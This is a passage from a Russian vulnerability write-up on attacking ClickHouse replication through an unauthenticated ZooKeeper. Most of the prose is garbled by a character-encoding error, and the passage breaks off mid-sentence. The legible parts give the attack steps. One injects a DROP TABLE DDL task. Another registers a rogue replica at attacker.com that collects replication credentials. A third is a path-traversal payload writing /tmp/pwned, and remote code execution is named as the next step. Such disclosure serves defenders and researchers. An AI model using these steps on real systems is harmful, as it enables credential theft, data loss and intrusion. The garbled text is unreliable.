
Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ Π±ΡΠ΄Π΅Ρ ΠΈΡΡΠΎΡΠΈΡ ΠΎΠ± ΠΎΠ΄Π½ΠΎΠΉ Π²Π΅ΡΡΠΌΠ° Ρ Π°ΡΠ°ΠΊΡΠ΅ΡΠ½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π² ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π΅ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π² ClickHouse, Π° ΡΠ°ΠΊΠΆΠ΅ Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°ΡΡΠΈΡΠΈΡΡ ΠΏΠ»ΠΎΡΠΊΠΎΡΡΡ Π°ΡΠ°ΠΊΠΈ.
ClickHouse β ΡΡΠΎ Π±Π°Π·Π° Π΄Π°Π½Π½ΡΡ Π΄Π»Ρ Ρ ΡΠ°Π½Π΅Π½ΠΈΡ Π±ΠΎΠ»ΡΡΠΈΡ ΠΎΠ±ΡΠ΅ΠΌΠΎΠ² Π΄Π°Π½Π½ΡΡ , ΡΠ°ΡΠ΅ Π²ΡΠ΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π±ΠΎΠ»ΡΡΠ΅ ΠΎΠ΄Π½ΠΎΠΉ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ. ΠΠ»Π°ΡΡΠ΅ΡΠΈΠ·Π°ΡΠΈΡ ΠΈ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π² ClickHouse ΡΡΡΠΎΡΡΡΡ ΠΏΠΎΠ²Π΅ΡΡ (ZK) ΠΈ ΡΡΠ΅Π±ΡΡΡ ΠΏΡΠ°Π² Π½Π° Π·Π°ΠΏΠΈΡΡ.
Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ZK ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π½Π΅ ΡΡΠ΅Π±ΡΠ΅Ρ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ, ΡΠ°ΠΊ ΡΡΠΎ ΡΡΡΡΡΠΈ ZK ΡΠ΅ΡΠ²Π΅ΡΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π΄Π»Ρ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ Kafka, Hadoop, ClickHouse Π΄ΠΎΡΡΡΠΏΠ½Ρ ΠΏΡΠ±Π»ΠΈΡΠ½ΠΎ.
ΠΠ»Ρ ΡΠΎΠΊΡΠ°ΡΠ΅Π½ΠΈΡ ΠΏΠ»ΠΎΡΠΊΠΎΡΡΠΈ Π°ΡΠ°ΠΊΠΈ Π²Ρ Π²ΡΠ΅Π³Π΄Π° Π΄ΠΎΠ»ΠΆΠ½Ρ Π½Π°ΡΡΡΠ°ΠΈΠ²Π°ΡΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΠΈ Π°Π²ΡΠΎΡΠΈΠ·Π°ΡΠΈΡ ΠΏΡΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠ΅ ZooKeeper
ΠΡΡΡ ΠΊΠΎΠ½Π΅ΡΠ½ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ 0day Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ Java Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ, Π½ΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΡΡΠ΅ ΡΠ΅Π±Π΅, ΡΡΠΎ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ ΡΠΈΡΠ°ΡΡ ΠΈ ΠΏΠΈΡΠ°ΡΡ Π² ZooKeeper, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΠΉ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ClickHouse.
ΠΡΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠ΅ Π² ΠΊΠ»Π°ΡΡΠ΅ΡΠ½ΠΎΠΌ ΡΠ΅ΠΆΠΈΠΌΠ΅ ClickHouse ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ ΡΠ°ΡΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠ΅ Π·Π°ΠΏΡΠΎΡΡ , ΠΏΡΠΎΡ
ΠΎΠ΄ΡΡΠΈΠ΅ ΡΠ΅ΡΠ΅Π· ZK β Π΄Π»Ρ Π½ΠΈΡ
ΡΠ·Π»Ρ ΡΠΎΠ·Π΄Π°ΡΡΡΡ Π² Π»ΠΈΡΡΠ΅ /clickhouse/task_queue/ddl.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ Π²Ρ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅ ΡΠ·Π΅Π» /clickhouse/task_queue/ddl/query-0001 Ρ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']Π° ΠΏΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ°Ρ ΠΊΠ»Π°ΡΡΠ΅ΡΠ° host1 ΠΈ host2 ΡΠ°Π±Π»ΠΈΡΠ° test Π±ΡΠ΄Π΅Ρ ΡΠ΄Π°Π»Π΅Π½Π°. DDL ΡΠ°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ Π·Π°ΠΏΡΡΠΊ Π·Π°ΠΏΡΠΎΡΠΎΠ² CREATE/ALTER/DROP.
ΠΠ²ΡΡΠΈΡ ΡΡΡΠ°ΡΠ½ΠΎ? ΠΠΎ Π³Π΄Π΅ ΠΆΠ΅ Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΡΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π°Π΄ΡΠ΅ΡΠ° ΡΠ΅ΡΠ²Π΅ΡΠΎΠ²?
ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Π½Π° ΡΡΠΎΠ²Π½Π΅ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΡ ΡΠ°Π±Π»ΠΈΡ, ΡΠ°ΠΊ ΡΡΠΎ ΠΏΡΠΈ ΡΠΎΠ·Π΄Π°Π½ΠΈΠΈ ΡΠ°Π±Π»ΠΈΡΡ Π² ZK Π·Π°Π΄Π°Π΅ΡΡΡ ΡΠ΅ΡΠ²Π΅Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΎΡΠ²Π΅ΡΠ°ΡΡ Π·Π° ΠΎΠ±ΠΌΠ΅Π½ ΠΌΠ΅ΡΠ°Π΄Π°Π½Π½ΡΠΌΠΈ Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΠΌΠΈ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ ΠΏΡΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Π·Π°ΠΏΡΠΎΡΠ° (ZK Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π½Π°ΡΡΡΠΎΠ΅Π½, chXX β ΠΈΠΌΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ, foobar β ΠΈΠΌΡ ΡΠ°Π±Π»ΠΈΡΡ):
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;Π±ΡΠ΄ΡΡ ΡΠΎΠ·Π΄Π°Π½Ρ ΡΠ·Π»Ρ columns ΠΈ metadata.
Π‘ΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpΠΠΎΠΆΠ½ΠΎ Π»ΠΈ ΡΠ»ΠΈΡΡ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ· ΡΡΠΎΠ³ΠΎ ΠΊΠ»Π°ΡΡΠ΅ΡΠ°? ΠΠ°, Π΅ΡΠ»ΠΈ ΠΏΠΎΡΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ (TCP/9009) Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ chXX-address Π½Π΅ Π±ΡΠ΄Π΅Ρ Π·Π°ΠΊΡΡΡ firewall ΠΈ Π½Π΅ Π±ΡΠ΄Π΅Ρ Π½Π°ΡΡΡΠΎΠ΅Π½Π° Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ. ΠΠ°ΠΊ ΠΎΠ±ΠΎΠΉΡΠΈ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ?
ΠΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΡΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΡ Π² ZK, ΠΏΡΠΎΡΡΠΎ ΠΊΠΎΠΏΠΈΡΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ Ρ /clickhouse/tables/01-01/foobar/replicas/chXX ΠΈ ΠΌΠ΅Π½ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ host.
Π‘ΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpΠΠ°ΡΠ΅ΠΌ Π½Π°Π΄ΠΎ ΡΠΊΠ°Π·Π°ΡΡ ΠΎΡΡΠ°Π»ΡΠ½ΡΠΌ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΠΌ, ΡΡΠΎ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ Π΅ΡΡΡ Π½ΠΎΠ²ΡΠΉ Π±Π»ΠΎΠΊ Π΄Π°Π½Π½ΡΡ
, ΠΊΠΎΡΠΎΡΡΠΉ ΠΈΠΌ Π½Π°Π΄ΠΎ Π·Π°Π±ΡΠ°ΡΡ β ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΡΠ·Π΅Π» Π² ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ΠΌΠΎΠ½ΠΎΡΠΎΠ½Π½ΠΎ ΡΠ°ΡΡΡΡΠΈΠΉ ΡΡΠ΅ΡΡΠΈΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π±ΠΎΠ»ΡΡΠ΅, ΡΠ΅ΠΌ ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΠΉ Π² ΠΆΡΡΠ½Π°Π»Π΅ ΡΠΎΠ±ΡΡΠΈΠΉ):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2Π³Π΄Π΅ source_replica β ΠΈΠΌΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ, ΡΠΎΠ·Π΄Π°Π½Π½ΠΎΠΉ Π½Π° ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅ΠΌ ΡΠ°Π³Π΅, block_id β ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ , get β ΠΊΠΎΠΌΠ°Π½Π΄Π° "get block" (Π° ).
ΠΠ°Π»Π΅Π΅ ΠΊΠ°ΠΆΠ΄Π°Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ° ΡΠΈΡΠ°Π΅Ρ Π½ΠΎΠ²ΠΎΠ΅ ΡΠΎΠ±ΡΡΠΈΠ΅ Π² ΠΆΡΡΠ½Π°Π»Π΅ ΠΈ ΠΈΠ΄Π΅Ρ Π½Π° ΡΠ΅ΡΠ²Π΅Ρ, ΠΏΠΎΠ΄ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΡ, Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ
(ΠΏΡΠΎΡΠΎΠΊΠΎΠ» ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π΄Π²ΠΎΠΈΡΠ½ΡΠΉ, ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΏΠΎΠ²Π΅ΡΡ
HTTP). Π‘Π΅ΡΠ²Π΅Ρ attacker.com Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ»ΡΡΠ°ΡΡ Π·Π°ΠΏΡΠΎΡΡ:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXXΠ³Π΄Π΅ XXX β ΠΈ Π΅ΡΡΡ Π΄Π°Π½Π½ΡΠ΅ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ. Π Π½Π΅ΠΊΠΎΡΠΎΡΡΡ ΡΠ»ΡΡΠ°ΡΡ ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΡΡΠ΅ΡΠ½Π°Ρ Π·Π°ΠΏΠΈΡΡ Ρ Π΄ΠΎΡΡΡΠΏΠΎΠΌ ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½ΡΡ ΠΏΠΎ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΌΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ ClickHouse ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ HTTP. ΠΠ°ΠΊ Π²Ρ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΏΠ»ΠΎΡΠΊΠΎΡΡΡ Π°ΡΠ°ΠΊΠΈ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈ Π±ΠΎΠ»ΡΡΠΎΠΉ, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ ZooKeeper, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΠΉ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ, ΠΎΡΡΠ°Π»ΡΡ Π±Π΅Π· Π½Π°ΡΡΡΠΎΠ΅Π½Π½ΠΎΠΉ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ Π½Π° ΡΡΠ½ΠΊΡΠΈΡ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ ΠΈΠ· ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ, ΠΎΠ½Π° Π½Π°ΠΏΠΈΡΠ°Π½Π° Ρ ΠΏΠΎΠ»Π½ΠΎΠΉ ΡΠ²Π΅ΡΠ΅Π½Π½ΠΎΡΡΡΡ, ΡΡΠΎ Π²ΡΠ΅ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ ΠΏΠΎΠ΄ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΌ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅ΠΌ ΠΈ ΠΌΠ΅ΠΆΠ΄Ρ Π½ΠΈΠΌΠΈ Π΅ΡΡΡ Π΄ΠΎΠ²Π΅ΡΠΈΠ΅.

ΠΊΠΎΠ΄ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ
Π€ΡΠ½ΠΊΡΠΈΡ ΡΠΈΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ ΡΠ°ΠΉΠ»ΠΎΠ², Π·Π°ΡΠ΅ΠΌ ΠΈΡ ΠΈΠΌΠ΅Π½Π°, ΡΠ°Π·ΠΌΠ΅ΡΡ, ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅, ΠΏΠΎΡΠ»Π΅ ΡΠ΅Π³ΠΎ ΠΏΠΈΡΠ΅Ρ ΠΈΡ Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅. Π‘ΡΠΎΠΈΡ ΠΎΡΠ΄Π΅Π»ΡΠ½ΠΎ ΠΎΠΏΠΈΡΠ°ΡΡ, ΠΊΠ°ΠΊ Ρ ΡΠ°Π½ΡΡΡΡ Π΄Π°Π½Π½ΡΠ΅ Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅.
ΠΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΠ΄ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΎΠ² Π² /var/lib/clickhouse (ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ ΠΏΠΎ-ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΈΠ· ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°):
flags β ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π΄Π»Ρ Π·Π°ΠΏΠΈΡΠΈ , ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ
ΠΏΡΠΈ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ ΠΏΠΎΡΠ»Π΅ ΠΏΠΎΡΠ΅ΡΠΈ Π΄Π°Π½Π½ΡΡ
;
tmp β ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
ΡΠ°ΠΉΠ»ΠΎΠ²;
user_files β ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Ρ ΡΠ°ΠΉΠ»Π°ΠΌΠΈ Π² Π·Π°ΠΏΡΠΎΡΠ°Ρ
ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½Ρ ΡΡΠΈΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΎΠΌ (INTO OUTFILE ΠΈ Π΄ΡΡΠ³ΠΈΠ΅);
metadata β ΡΠ°ΠΉΠ»Ρ sql Ρ ΠΎΠΏΠΈΡΠ°Π½ΠΈΡΠΌΠΈ ΡΠ°Π±Π»ΠΈΡ;
preprocessed_configs β ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΠ΅ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΡΠ΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ ΠΈΠ· /etc/clickhouse-server;
data β ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ ΡΠ°ΠΌΠΈΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ, Π² ΡΡΠΌ ΡΠ»ΡΡΠ°Π΅ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π±Π°Π·Ρ ΠΏΡΠΎΡΡΠΎ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠΉ ΠΏΠΎΠ΄ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π·Π΄Π΅ΡΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ /var/lib/clickhouse/data/default).
ΠΠ»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΡΠ°Π±Π»ΠΈΡΡ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΠΏΠΎΠ΄ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ Ρ Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½ΡΡ . ΠΠ°ΠΆΠ΄ΡΠΉ ΡΡΠΎΠ»Π±Π΅Ρ β ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ ΠΎΡ . ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ Π΄Π»Ρ ΡΠ°Π±Π»ΠΈΡΡ foobar, ΡΠΎΠ·Π΄Π°Π½Π½ΠΎΠΉ Π°ΡΠ°ΠΊΡΡΡΠΈΠΌ, Π±ΡΠ΄ΡΡ ΡΠΎΠ·Π΄Π°Π½Ρ ΡΠ»Π΅Π΄ΡΡΡΠΈΠ΅ ΡΠ°ΠΉΠ»Ρ:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2Π Π΅ΠΏΠ»ΠΈΠΊΠ° ΠΎΠΆΠΈΠ΄Π°Π΅Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ² Ρ ΡΠ°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΏΡΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ΅ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ ΠΈ Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ ΠΈΡ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΡΠΏΠΎΡΠΎΠ±ΠΎΠΌ.
ΠΠ½ΠΈΠΌΠ°ΡΠ΅Π»ΡΠ½ΡΠΉ ΡΠΈΡΠ°ΡΠ΅Π»Ρ Π²Π΅ΡΠΎΡΡΠ½ΠΎ ΡΠΆΠ΅ ΡΠ»ΡΡΠ°Π» ΠΏΡΠΎ Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΡΡ ΠΊΠΎΠ½ΠΊΠ°ΡΠ΅Π½Π°ΡΠΈΡ file_name Π² ΡΡΠ½ΠΊΡΠΈΠΈ WriteBufferFromFile. ΠΠ°, ΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΌΡ Π·Π°ΠΏΠΈΡΠ°ΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠ½ΡΠ΅Π½Ρ Π² Π»ΡΠ±ΠΎΠΉ ΡΠ°ΠΉΠ» Π½Π° Π€Π‘ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse. ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°, ΠΏΠΎΠ΄ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠ½Π°Ρ Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΌΡ, Π΄ΠΎΠ»ΠΆΠ½Π° Π²Π΅ΡΠ½ΡΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΎΡΠ²Π΅Ρ Π½Π° Π·Π°ΠΏΡΠΎΡ (Π΄Π»Ρ ΠΏΡΠΎΡΡΠΎΡΡ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΡ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΡ ΡΡΡΠΎΠΊ):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeperΠ° ΠΏΠΎΡΠ»Π΅ ΠΊΠΎΠ½ΠΊΠ°ΡΠ΅Π½Π°ΡΠΈΠΈ ../../../../../../../../../tmp/pwned Π±ΡΠ΄Π΅Ρ Π·Π°ΠΏΠΈΡΠ°Π½ ΡΠ°ΠΉΠ» /tmp/pwned Ρ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ hellofromzookeeper.
ΠΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π²Π°ΡΠΈΠ°Π½ΡΠΎΠ² ΠΏΡΠ΅Π²ΡΠ°ΡΠ΅Π½ΠΈΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ Π·Π°ΠΏΠΈΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ² Π² ΡΠ΄Π°Π»Π΅Π½Π½ΡΠΉ Π·Π°ΠΏΡΡΠΊ ΠΊΠΎΠ΄Π° (RCE).
ΠΠ½Π΅ΡΠ½ΠΈΠ΅ ΡΠ»ΠΎΠ²Π°ΡΠΈ Π² RCE
Π ΡΡΠ°ΡΡΡ
Π²Π΅ΡΡΠΈΡΡ
ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΠΌΠΈ ClickHouse Ρ
ΡΠ°Π½ΠΈΠ»ΡΡ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse ΠΏΠΎ-ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ. Π€Π°ΠΉΠ»Ρ Π½Π°ΡΡΡΠΎΠ΅ΠΊ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΡΡ ΡΠΎΠ±ΠΎΠΉ ΡΠ°ΠΉΠ»Ρ XML, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ΅ΡΠ²ΠΈΡ ΡΠΈΡΠ°Π΅Ρ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅, Π° Π·Π°ΡΠ΅ΠΌ ΠΊΡΡΠΈΡΡΠ΅Ρ Π² /var/lib/clickhouse/preprocessed_configs. ΠΡΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡΡ
ΠΎΠ½ΠΈ ΠΏΠ΅ΡΠ΅ΡΠΈΡΡΠ²Π°ΡΡΡΡ. ΠΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ /etc/clickhouse-server Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ·Π΄Π°ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ³ΠΎ ΡΠΈΠΏΠ°, Π° Π·Π°ΡΠ΅ΠΌ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄. Π’Π΅ΠΊΡΡΠΈΠ΅ Π²Π΅ΡΡΠΈΠΈ ClickHouse Π½Π΅ Π΄Π°ΡΡ ΠΏΡΠ°Π²Π° ΠΏΠΎ-ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, Π½ΠΎ Π΅ΡΠ»ΠΈ ΡΠ΅ΡΠ²Π΅Ρ ΠΏΠΎΡΡΠ΅ΠΏΠ΅Π½Π½ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ»ΡΡ β ΡΠ°ΠΊΠΈΠ΅ ΠΏΡΠ°Π²Π° ΠΌΠΎΠ³Π»ΠΈ ΠΈ 